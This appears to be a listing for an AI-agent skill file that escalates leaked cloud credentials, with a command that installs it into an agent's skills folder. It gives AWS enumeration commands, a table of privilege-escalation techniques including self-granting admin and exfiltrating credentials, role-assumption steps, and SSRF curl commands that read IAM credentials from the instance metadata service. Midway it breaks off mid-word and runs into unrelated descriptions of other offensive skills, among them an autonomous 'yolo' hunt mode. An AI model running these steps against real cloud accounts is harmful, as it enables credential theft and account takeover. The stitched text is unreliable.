cloud-iam-deep
cloud-iam-deep identifies and escalates cloud credentials (AWS keys, Azure secrets, GCP service account JSON, Kubernetes tokens) discovered through code leaks, SSRF chains, or post-RCE pivots. Use this skill when a credential surfaces and you need to enumerate what permissions it grants, trace privilege escalation paths across AWS, Azure, and GCP IAM systems, and map exploitation chains including STS role assumption, managed identity abuse, and service account token attacks.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/cloud-iam-deep && cp -r /tmp/cloud-iam-deep/skills/cloud-iam-deep ~/.claude/skills/cloud-iam-deepSKILL.md
## When to use
Trigger when:
- A cloud credential surfaces (key, secret, token, JSON file)
- SSRF chain reaches IMDS / metadata endpoint
- APK / git-leak reveals embedded cloud key
- Recon shows public S3/GCS/Azure-blob with permissions you can verify
- A Kubernetes API or service-account token is exposed
- Post-RCE on a cloud-hosted instance — pivot to cloud control plane
Do NOT use for:
- On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
- Web2 vulns that happen to be on AWS — use the relevant `hunt-*` skill

## Credential identification (first 60 seconds)
```bash
# AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
# Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
# GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
```

## AWS — read-only validation (the safe first step)
```bash
# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name
# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
```

## AWS privesc patterns (24+ documented — `iam_privesc` techniques)
Quick lookup — if you have any of these IAM actions, escalate via the listed technique:
| You have | Escalate via |
|---|---|
| `iam:CreateAccessKey` | Create access key on any user → impersonate |
| `iam:CreateLoginProfile` | Set a console password on a user → login |
| `iam:UpdateLoginProfile` | Reset console password on a user |
| `iam:AttachUserPolicy` | Attach AdministratorAccess to self |
| `iam:AttachGroupPolicy` | Attach AdministratorAccess to a group you're in |
| `iam:AttachRolePolicy` + sts:AssumeRole | Attach to a role you can assume |
| `iam:PutUserPolicy` | Inline AdministratorAccess to self |
| `iam:PutGroupPolicy` | Inline policy on a group |
| `iam:PutRolePolicy` | Inline on a role you can assume |
| `iam:AddUserToGroup` | Add self to admin group |
| `iam:UpdateAssumeRolePolicy` + sts:AssumeRole | Modify trust to allow self |
| `iam:CreatePolicyVersion` | Create v2 of an attached policy with admin |
| `iam:SetDefaultPolicyVersion` | Switch attached policy to admin version |
| `iam:PassRole` + ec2:RunInstances | Launch EC2 as admin role → use instance creds |
| `iam:PassRole` + lambda:CreateFunction/InvokeFunction | Run code as admin role |
| `iam:PassRole` + cloudformation:CreateStack | CF stack creates resources as admin |
| `iam:PassRole` + glue:CreateDevEndpoint | Notebook runs as admin role |
| `iam:PassRole` + datapipeline | Pipeline runs as admin role |
| `iam:PassRole` + codestar:CreateProject | New project gets admin role |
| `ec2:RunInstances` (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS |
| `lambda:UpdateFunctionCode` (function has admin role) | Replace code → exfil creds |
| `lambda:UpdateFunctionConfiguration` | Add layer / env var that exfils |
| `cloudformation:UpdateStack` | Modify stack to grant self admin |
| `sts:AssumeRole` (where trust allows you) | Direct privilege jump |
Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

## AWS — STS / cross-account / role chaining
```bash
# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify
aws sts get-caller-identity # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)
```
**Confused-deputy pattern:** look for `sts:ExternalId` missing or trust policies that allow `arn:aws:iam::*:role/*`. If `ExternalId` is not required, anyone can assume the role.

## AWS IMDSv1 / IMDSv2 abuse via SSRF
```bash
# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (rEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.

Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
